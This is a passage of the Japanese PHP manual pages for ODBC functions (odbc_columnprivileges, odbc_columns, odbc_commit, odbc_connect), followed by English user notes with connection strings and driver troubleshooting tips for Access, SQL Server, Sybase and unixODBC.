`odbc_close()` does not report success and some drivers (namely Microsoft Access) don't seem to close connections at first attempt. This is normally not an issue, unless you need to establish many connections within the script lifetime.

You can use the fact that resource type changes (e.g. from "odbc link" to "Unknown") as a trick to figure out whether connection was successfully closed (and eventually retry):

<?php
$type = get_resource_type($conn);
$wait_until = time() + 3;
do {
    odbc_close($conexion_odbc);
} while (get_resource_type($conn)===$type && time()<$wait_until);


指定したテーブルに関するカラムおよび付随する権限のリストを取得する

  • ≪ odbc_close
  • odbc_columns ≫
  • PHP Manual
  • ODBC 関数
  • 指定したテーブルに関するカラムおよび付随する権限のリストを取得する

odbc_columnprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columnprivileges — 指定したテーブルに関するカラムおよび付随する権限のリストを取得する

説明

odbc_columnprivileges ( resource $odbc , string|null $catalog , string $schema , string $table , string $column ) : resource|false

指定したテーブルに関するカラムおよび付随する権限のリストを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

table

テーブル名。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

column

カラム名。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。 この結果 ID を使用して、カラムや関連する権限の一覧を取得します。

結果は以下のカラムを有します。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
ドライバは追加のカラムを返すことが出来ます。

結果セットは TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, PRIVILEGE でソートされます。

例

例1 カラムの権限の一覧を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_columnprivileges($conn, 'TutorialDB', 'dbo', 'test', 'id');
while (($row = odbc_fetch_array($privileges))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => test
    [COLUMN_NAME] => id
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => INSERT
    [IS_GRANTABLE] => YES
)

User Contributed Notes

There are no user contributed notes for this page.


指定したテーブルにあるカラム名のリストを取得する

  • ≪ odbc_columnprivileges
  • odbc_commit ≫
  • PHP Manual
  • ODBC 関数
  • 指定したテーブルにあるカラム名のリストを取得する

odbc_columns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columns — 指定したテーブルにあるカラム名のリストを取得する

説明

odbc_columns ( resource $odbc , string|null $catalog = null , string|null $schema = null , string|null $table = null , string|null $column = null ) : resource|false

指定したテーブルにあるカラム名のリストを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

table

テーブル名。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

column

カラム名。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。

結果セットは以下のカラムを有しています。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
ドライバは追加のカラムを返すことが出来ます。

結果セットは TABLE_CAT, TABLE_SCHEM, TABLE_NAME, ORDINAL_POSITION でソートされます。

変更履歴

バージョン | 説明
8.0.0 | schema, table, column は、nullable になりました。

例

例1 テーブルのカラム一覧を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_columns($conn, 'TutorialDB', 'dbo', 'test', '%');
while (($row = odbc_fetch_array($columns))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [DATA_TYPE] => 4
    [TYPE_NAME] => int
    [COLUMN_SIZE] => 10
    [BUFFER_LENGTH] => 4
    [DECIMAL_DIGITS] => 0
    [NUM_PREC_RADIX] => 10
    [NULLABLE] => 0
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => 4
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] =>
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => NO
)

参考

  • odbc_columnprivileges() - 指定したテーブルに関するカラムおよび付随する権限のリストを取得する
  • odbc_procedurecolumns() - プロシージャへのパラメータに関する情報を取得する

User Contributed Notes

tom at jargonsoft dot com 08-Sep-2019 05:33
The docs on this page are among the worst in php. I know docs are traditionally terrible for open source code, but this is NOT acceptable:
Qualifer: the qualifer. REALLY??
How about: ComplexFieldWithManyRules: the ComplexFieldWithManyRules.
Give me a break.
How about actually defining the meaning and how to use it?
Along with several EXAMPLES!!
You are giving software developers a bad name with junk like this.
eion at robbmob dot com 12-Apr-2012 03:47
Sometimes the array keys of the results of odbc_columns() can be in lower case, instead of upper case (eg 'column_name' instead of 'COLUMN_NAME').  This can vary depending on which ODBC driver you are connecting to.
Thomas 16-Jun-2009 06:46
[MS SQL Server 2005/2008, PHP 5]

Imagine you would need to access the column names of a specific table, for instance to display them as table headers for fields with missing information. While browsing the documentation I was kind of lost how to use odbc_columns() without the usage of odbc_result_all() which outputs EVERYTHING in a single HTML table.

Here is a way to stuff all output into an array and then access only one or more fields of the odbc_columns() output:

<?php
include('connect.inc'); // <== Put all your database connection parameters in here. (DSN, PWD, USR, mssql_connect, etc.; returns $connection)

$outval = odbc_columns($connection, "your DB name", "%", "your table name", "%");

$pages = array();
while (odbc_fetch_into($outval, $pages)) {
        echo $pages[3] . "<br />\n"; // presents all fields of the array $pages in a new line until the array pointer reaches the end of array data
    }
?>

Now your array $pages will have the following contents:
([x] is the array index displayed here for better understanding)

[0] TABLE_CAT <== your DB name
[1] TABLE_SCHEM <== dbo, your table scheme
[2] TABLE_NAME <== your table name
[3] COLUMN_NAME <== your column names (selected all with "%" in odbc_columns() )
[4] DATA_TYPE <== -8
[5] TYPE_NAME <== nchar (corresponds to -8, 11 f.i. is datetime and so on)
[6] COLUMN_SIZE <== num. val.
[7] BUFFER_LENGTH <== num. val.
[8] DECIMAL_DIGITS <== num. val. or NULL
[9] NUM_PREC_RADIX <== num. val. or NULL
[10] NULLABLE <== num. val.
[11] REMARKS <== num. val. or NULL
[12] COLUMN_DEF <== num. val. or NULL
[13] SQL_DATA_TYPE <== num. val.
[14] SQL_DATETIME_SUB <== num. val. or NULL
[15] CHAR_OCTET_LENGTH <== num. val. or NULL
[16] ORDINAL_POSITION <== num. val.
[17] IS_NULLABLE <== YES/NO
[18] SS_DATA_TYPE <== num. val.

Now you can access each field recursivly by its key and output only the DESIRED fields instead of having ALL output from odbc_result_all().
Please note that the array key starts at zero (0) instead of one (1), so echo $pages[3] selects COLUMN_NAME from the above list.

I hope this helps...

Cheers
Thomas
php dot lpatrick at spamgourmet dot com 02-May-2008 10:52
Since I was just looking for table descriptions of an MS Access file I didn't know the table structure of, I wrote this (where $inputfile is the Access file name):

<?php
$conn = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$inputfile;, "", "");

$tabs = odbc_tables($conn);
$tables = array();
while (odbc_fetch_row($tabs)){
    if (odbc_result($tabs,"TABLE_TYPE")=="TABLE") {
        $table_name = odbc_result($tabs,"TABLE_NAME");
        $tables["{$table_name}"] = array();
        $cols = odbc_exec($conn,'select * from `'.$table_name.'` where 1=2');  // we don't want content
      $ncols = odbc_num_fields($cols);
        for ($n=1; $n<=$ncols; $n++) {
            $field_name = odbc_field_name($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['len'] = odbc_field_len($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['type'] = odbc_field_type($cols, $n);
        }
    }
}
odbc_close ($conn);
print_r($tables);
?>
jeremie dot legrand at komori-chambon dot fr 19-Feb-2008 02:43
Here is the way to use odbc_columns() with "Attunity Connect", an ODBC connector to VMS :

$db = "my_database";
$table = "my_table";
$con = odbc_connect($db, "user", "password");
$result = odbc_columns($con, $db, "", $table, "%");
while (odbc_fetch_row($resu)) {
    echo odbc_result_all($resu);
}
Artur 23-Jan-2007 06:15
This is the only way I could actually get field names using odbc_columns. Hope it will be usefull for someone.

$result = odbc_columns($odbc,$dbhost,"dbo", "KIR_ViolationDetail");

while (odbc_fetch_row($result))
{
  echo odbc_result($result,"COLUMN_NAME");
}
ke3wh at comcast dot net 26-Nov-2004 05:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
    echo "$msg \n";
    odbc_close( $cnx);
    exit();
    }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
    if (!$cnx) {
      Error_handler( "Error in odbc_connect" , $cnx );
    }

    $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
    echo odbc_result_all($res400);
laundro at gmail dot com 15-Nov-2004 08:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com 25-Feb-2004 02:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
21-Oct-2003 11:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori 25-Feb-2003 08:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
josh at engledental dot com 12-Jun-2002 05:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com 22-Feb-2001 11:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.


ODBC トランザクションをコミットする

  • ≪ odbc_columns
  • odbc_connect ≫
  • PHP Manual
  • ODBC 関数
  • ODBC トランザクションをコミットする

odbc_commit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_commit — ODBC トランザクションをコミットする

説明

odbc_commit ( resource $odbc ) : bool

その接続におけるすべての実行中のトランザクションをコミットします。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


データソースに接続する

  • ≪ odbc_commit
  • odbc_cursor ≫
  • PHP Manual
  • ODBC 関数
  • データソースに接続する

odbc_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_connect — データソースに接続する

説明

odbc_connect ( string $dsn , string $user , string $password , int $cursor_option = SQL_CUR_USE_DRIVER ) : resource|false

他の ODBC 関数を使用するには、 この関数が返す接続 ID が必要となります。 異なる db や異なる権限を使用する限り、 複数の接続を同時にオープンすることができます。

いくつかの ODBC ドライバでは、 複雑なストアド・プロシージャの実行時に次のようなエラーにより失敗する可能性があります。 "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it" SQL_CUR_USE_ODBC を使用することにより、 このようなエラーを回避できる可能性があります。 また、いくつかのドライバは odbc_fetch_row() においてオプションの row_number パラメータをサポートしません。 この場合でも、SQL_CUR_USE_ODBC により解決できる可能性があります。

パラメータ

dsn

接続に使用するデータベースソース名。 あるいは、DSNではない接続文字列を使用することもできます。

user

ユーザー名。

password

パスワード。

cursor_option

この接続で使用するカーソルの型。 通常はこのパラメータは必要ありませんが、いくつかの ODBC ドライバの問題に対処する際には有用です。

次のような定数がカーソル型として定義されています。

  • SQL_CUR_USE_IF_NEEDED
  • SQL_CUR_USE_ODBC
  • SQL_CUR_USE_DRIVER

返り値

ODBC 接続を返します。 失敗した場合に false を返します

例

例1 DSN なしの接続

<?php
// Microsoft SQL Server using the SQL Native Client 10.0 ODBC Driver - allows connection to SQL 7, 2000, 2005 and 2008
$connection = odbc_connect("Driver={SQL Server Native Client 10.0};Server=$server;Database=$database;", $user, $password);

// Microsoft Access
$connection = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};Dbq=$mdbFilename", $user, $password);

// Microsoft Excel
$excelFile = realpath('C:/ExcelData.xls');
$excelDir = dirname($excelFile);
$connection = odbc_connect("Driver={Microsoft Excel Driver (*.xls)};DriverId=790;Dbq=$excelFile;DefaultDir=$excelDir" , '', '');
?>

参考

  • 持続的な接続の場合: odbc_pconnect() - 持続的なデータベース接続を開く

User Contributed Notes

nunya at damn dot biz 29-Jan-2020 07:38
One additional note regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, so it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
fr at freedom2ct dot com 24-Apr-2019 01:14
Under Windows odbc_connect (and PDO ODBC) apparently uses the Windows locale to handle input and output from e.g. MS access and MS SQL Server databases.

This causes lots of headaches if one is using other than ASCII characters.

Work-round solutions like utf8_encode and mb_convert both fails.

The solution I fund working is to perform the following changes to Windows

Control Panel > Region > Administrative > Change system locale
>Check '<i>Use Unicode UTF-8 for worldwide language support.</i>'
Matt 03-Sep-2015 03:00
In newer versions you may need: odbc_connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=C:/Folder/database.mdb", "", "");
cjbauer2 at hotmail dot com 21-May-2015 08:52
/* Connecting to Microsoft Access with PHP
   $conn = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};
   Dbq=$mdb_Filename", $user, $password);

This does NOT work on Windows servers.
Instead, it needs
   $conn->Open("Provider=Microsoft,.Jet.OLEDB.4.0; Data Source=......

Point the variable $mdb_Filename to...
   Data Source=C:\inetpub\wwwroot\php\mdb_Filename
   or wherever the virtual directory points.
Luis [from] redcodestudio [dot] com 02-Mar-2015 05:48
Following  simonr at no2sp at m dot cogapp dot com contribution (thank you), I tried to connect to a local MS SQL Server 2014 Express database by creating a DSN-less connection using ODBC. It worked, here's the code.

<?php
// Replace the value of these variables with your own data
$user = 'username';
$pass = 'password';
$server = 'serverName\instanceName';
$database = 'database';

// No changes needed from now on
$connection_string = "DRIVER={SQL Server};SERVER=$server;DATABASE=$database";
$conn = odbc_connect($connection_string,$user,$pass);

if ($conn) {
    echo "Connection established.";
} else{
    die("Connection could not be established.");
}
?>
Abhinav 04-Mar-2012 02:13
Pls ensure that the MSAccess database format is ".mdb".
If it is ".accdb" it will not work!
ewilde aht bsmdevelopment dawt com 17-Feb-2010 01:08
Once you've set up a UnixODBC connection to Informix (as described elsewhere, for example in http://www.unixodbc.org/), the following PHP code will access a database via its DSN:

<?php
// We must set these environment variables for Informix to work.  Either
// do it here or in php.ini.
putenv("INFORMIXDIR=/usr/share/informix");
putenv("ODBCINI=/usr/local/unixODBC/etc/odbc.ini");

// Open up a connection to the database.
if (!($con = odbc_connect("CollectOh", "", "")))
  echo "<p>Connection to CollectOh failed.</p>\n";
else
  {
  // Let's try enumerating all of the tables in the database (there ain't
  // no "show tables" here).
  if (($res = odbc_exec($con, "select * from SYSTABLES")))
    {
    echo "<p>\n";
    odbc_result_all($res);
    echo "</p>\n";
    }

  // Close up shop, like good dobies.
  odbc_close($con);
  }
?>
Shyam Hazari 25-Oct-2009 03:43
Here is my successful odbc_connect with mysql on Ubuntu. It took me a while to figure this out.

Installed following packages using apt-get.

apache2
apache2-mpm-prefork
apache2-utils
apache2.2-common
libapache2-mod-php5
libdbd-mysql-perl
libmyodbc
libmysqlclient15off
mysql-client-5.0
mysql-common
mysql-server-5.0
mysql-server-core-5.0
odbcinst1debian1
php5
php5-cli
php5-common
php5-odbc
unixodbc

/etc/odbc.ini
------------
myodbc3      = MySQL ODBC 3.51 Driver

[myodbc3]
Driver         = /usr/lib/odbc/libmyodbc.so
Description  = MySQL ODBC 3.51 Driver
Server        = localhost
Port           = 3306
User           = shyam
Password    = mypass
Database    = mysql
Option        = 3
Socket       = /var/run/mysqld/mysqld.sock

/etc/odbcinst.ini
----------------
[MySQL ODBC 3.51 Driver]
Description    = MySQL driver
Driver        = /usr/lib/odbc/libmyodbc.so
Setup        = /usr/lib/odbc/libodbcmyS.so
CPTimeout    =
CPReuse    =
UsageCount    = 1

my php script
------------

<html>
<body>
<?
$conn = odbc_connect("DRIVER={MySQL ODBC 3.51 Driver};Server=localhost;Database=mysql", "shyam", "mypass");

$sql = "SELECT user from user";
$rs = odbc_exec($conn,$sql);
echo "<table><tr>";
echo "<th>User Name</th></tr>";
while (odbc_fetch_row($rs))
 {
 $user = odbc_result($rs,"user");
 echo "<tr><td>$user</td></tr>";
}
odbc_close($conn);
echo "</table>";
?>

</body>
</html>
drew at pixelburn dot net 02-Jul-2009 05:32
[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified

If you keep running  into this on the 64 bit versions of windows, ie server 2008,  and none of the other solutions helped.

In a 64 bit windows server operating system, there are TWO odbc managers. When you pull up the usual menu for the odbc / dsn system, it is for the 64 bit odbc manager, and 32 bit applications (vb 6.0, PHP 5) will not work using these dsn's.

This is where the 32 bit odbc manager is:

C:\Windows\SysWOW64\odbcad32.exe
Anonymous 11-Sep-2008 01:16
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) isql test works
3) odbc connection in php also works WHEN RUN FROM THE SHELL
4) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
Anonymous 11-Jun-2008 08:08
I have used mdbtools to access .mdb file on my ubuntu box, as ODBC driver (and PHP)
It has very few features, and practically unusable.
Ceeclipse 05-Feb-2008 01:36
"Returns an ODBC connection id or 0 (FALSE) on error."

Keep in mind that the following code in PHP5 will not work properly:

<?php

if( odbc_connect("test", "test", "test") === false ) {
    // Your error reporting/handling here..
}

?>

odbc_connect() returns an integer, and not a PHP5 boolean!
harald dot angel at gmail dot com 06-Dec-2006 06:12
- Windows - OS
- Apache
- ODBC-Connction to MS-Access DB on a:
- Network Share

After many hours searching here´s how it works:

- Map the Network Drive where the mdb is located
- Setup System DSN in Control Panel with mapped Drive
- Open Registry at:
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI
- Edit the for example "M:\" to "\\server\..."
- Close Regedit
- The Apache-Service must run with a Domain (network)-User!!
- After that you can connect using:

$conn = odbc_connect('your-dsn-name','','');

hope that makes someone happy :)
bye
Ray.Paseur sometimes uses GMail 28-Nov-2006 07:48
To connect and show tables in a Microsoft Access data base (created in *.asp pages)...

$dbq    =    str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\\path\\to\\database.mdb";
if    (!file_exists($dbq)) { echo "Crap!<br />No such file as $dbq"; }

$db_connection = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$dbq", "ADODB.Connection", "password", "SQL_CUR_USE_ODBC");

$result = odbc_tables($db_connection);

while (odbc_fetch_row($result)) {
    if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
        echo "<br />" . odbc_result($result,"TABLE_NAME");
    }
}
sven dot delmeiren at cac dot be 09-Aug-2006 07:39
Hi,

Instructions on how to connect to a Progress database on Linux using the Merant ODBC driver can be found at http://www.progteg.com/english/documents.html.

Kind regards,

Sven Delmeiren
Computers & Communications NV
gekkeprutser at gmail dot com 06-Dec-2005 06:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
webmaster at dzconnexion dot com 05-May-2005 08:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com 29-Apr-2005 08:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests here?s what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = ?SELECT * FROM table1 WHERE cust_id = cust1?;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesn?t work.

Here?s the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand 30-Mar-2005 07:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
aamaral at 0kbps dot net 03-Mar-2005 10:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net 16-Feb-2005 12:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name   = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                    "CommLinks=tcpip(Host=$db_host);".
                    "ServerName=$db_server_name;".
                    "DatabaseName=$db_name;".
                    "DatabaseFile=$db_file;".
                    "ConnectionName=$db_conn_name;".
                    "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es 16-Nov-2004 03:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
    <td height="22"><b>Tipo</b></td>
    <td height="22"><b>Marca</b></td>
    <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
    print ("<tr>");
    print ("<td>$tipo</td>");
    print ("<td>$marca</td>");
    print ("<td>$modelo</td>");
    print ("</tr>");
    }

//disconnect from database
    odbc_close($cx);

    ?>

</table>
</body>
</html>
simonr at no2sp at m dot cogapp dot com 01-Jun-2004 05:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
atze at o2o dot com dot au 04-Feb-2004 03:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description         = PostgreSQL template1
Driver              = PostgreSQL
Trace               = Yes
TraceFile           = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
    echo "still trying CID = $CID\n";
    if ($RES = odbc_exec($CID, $SQL))
    {
        echo "RES = $RES\n";
        print_r($RES);
        echo "\n";

        $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu 23-Dec-2003 03:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

